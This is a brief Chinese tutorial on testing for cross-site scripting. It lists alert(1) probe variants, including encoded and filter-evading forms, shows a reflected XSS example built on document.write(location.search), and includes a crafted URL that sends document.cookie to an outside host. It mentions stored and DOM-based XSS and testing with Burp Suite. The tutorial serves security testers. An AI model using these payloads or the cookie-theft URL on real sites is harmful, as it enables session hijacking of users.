天天看點

安全測試-跨站腳本攻擊(xss)

  <script>alert(1)</script>

  以及它的各種變體

  <script>alert(1) </script>實體

  %3cscript%3ealert(1)%3c/script%3e  url編碼

  <scr<script>ipt>alert(1)<scr<script>ipt>

  <script x=1>alert(1)</script x=1> 還可以這樣寫

  或者<script>confirm(1)</script>

  <javascript.:alert(1)>;等

  如果送出後,頁面彈出警告框,則該頁面存在xss漏洞

  *反射型xss

  通俗來講,即使輸入一段代碼,既可以看到代碼實際的效果,而非原程式的效果

  如:一段代碼

  <html><body>

  <script>

  document.write(location.search);</script>//location.search傳回url?開始的部分

  </body></html>

  當輸入以下url

  "http://127.0.0.1/attrck.html?search=222"

  頁面将顯示:?search=222 ;但url中如果輸入

  /?search=<script>alert(1)</script>

  則頁面的實際代碼為:

  document.write(?search=)<script>alert(1)</script>;

  将彈出警告框,即代碼<script>alert(1)</script>被執行了,而并非頁面原來顯示?後字元串的效果

  可以使用僞造後的url擷取使用者cookie

  http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>

  因為cookie是禁止跨域通路的,但僞造的url,浏覽器會認為是還是localhost的域

  *儲存型xss

  *基于dom的xss

  嚴格來說該xss也屬于反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,進而達成攻擊,比如頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss

  查找xss漏洞一般使用手工輸入,需要考慮到輸入限制、過濾、長度限制等因素,是以需要設計各種不容的變體輸入,以達到測試效果,也可以使用工具,比如burpsuite來擷取請求後手工修改請求參數,然後重新送出到浏覽器來測試,因為xss并不限于可見的頁面輸入,還有可能是隐藏表單域、get請求參數等。

最新内容請見作者的github頁:http://qaseven.github.io/

繼續閱讀